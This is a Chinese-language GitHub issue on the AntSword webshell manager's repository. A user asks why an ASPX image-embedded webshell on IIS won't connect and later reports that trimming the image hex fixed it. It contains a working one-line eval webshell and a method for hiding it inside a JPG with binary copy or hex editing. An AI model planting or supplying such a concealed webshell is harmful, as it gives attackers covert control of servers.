AntSwordProject / antSword

中国蚁剑是一款跨平台的开源网站管理工具。AntSword is a cross-platform website management toolkit.
https://www.yuque.com/antswordproject/antsword
MIT License
3.69k stars 579 forks source link

图片一句话无法连接 #299

Closed zhimiyouwu33 closed 2 years ago

zhimiyouwu33 commented 2 years ago

报告 Bug


Bug 详细描述

在IIS服务端测试ASPX一句话图片马一直无法连接,尝试 Copy 1.jpg/b + 2.aspx/a 3.jpg 无法连接后,又尝试在HEX编辑器底部粘贴一句话测试-<%@ Page Language="Jscript"%><%eval(Request.Item["test"],"unsafe");%> 同样无法连接,测试不环境连接一句话是正常的,连接其他shell也是正常,请问是我哪里做错了呢?还望师傅能够解疑,十分感谢!

新功能建议

新功能描述


询问

shell 连接 Bug

  1. 服务端操作系统

  2. 服务端shell代码

  1. 服务端环境配置
  1. 客户端连接配置
zhimiyouwu33 commented 2 years ago

蚁剑报错内容为:

{"_events":{},"_eventsCount":1,"defaultPort":80,"freeSockets":{},"keepAlive":false,"keepAliveMsecs":1000,"maxFreeSockets":256,"options":{"path":null},"protocol":"http:","requests":{},"sockets":{"192.168.1.100:98:":[null]}},"chunkedEncoding":false,"connection":null,"finished":true,"maxHeadersCount":null,"method":"POST","output":[],"outputCallbacks":[],"outputEncodings":[],"outputSize":0,"parser":null,"path":"/222.aspx","res":null,"sendDate":false,"shouldKeepAlive":false,"socket":null,"timeoutCb":null,"upgradeOrConnect":false,"useChunkedEncodingByDefault":true,"writable":true},"_parent":null,"_pendingData":null,"_pendingEncoding":"","_readableState":{"awaitDrain":0,"buffer":{"head":null,"length":0,"tail":null},"decoder":null,"defaultEncoding":"utf8","destroyed":false,"emitClose":false,"emittedReadable":false,"encoding":null,"endEmitted":false,"ended":false,"flowing":true,"highWaterMark":16384,"length":0,"needReadable":true,"objectMode":false,"pipes":null,"pipesCount":0,"readableListening":false,"reading":false,"readingMore":true,"resumeScheduled":false,"sync":false},"_server":null,"_sockname":null,"_writableState":{"bufferProcessing":false,"bufferedRequest":null,"bufferedRequestCount":0,"corked":0,"corkedRequestsFree":{"entry":null,"next":{"entry":null,"next":null}},"decodeStrings":false,"defaultEncoding":"utf8","destroyed":false,"emitClose":false,"ended":true,"ending":true,"errorEmitted":false,"finalCalled":true,"finished":false,"highWaterMark":16384,"lastBufferedRequest":null,"length":0,"needDrain":false,"objectMode":false,"pendingcb":1,"prefinished":false,"sync":false,"writecb":null,"writelen":0,"writing":false},"allowHalfOpen":false,"connecting":false,"parser":null,"readable":true,"server":null,"writable":false},"statusCode":500,"statusMessage":"Internal Server Error","trailers":{},"upgrade":false,"url":""},"serverError":true,"status":500,"statusCode":500,"statusType":5,"type":"text/html","unauthorized":false,"unprocessableEntity":false},"status":500}

zhimiyouwu33 commented 2 years ago

测试删除部分图片十六进制内容后可以恢复正常~!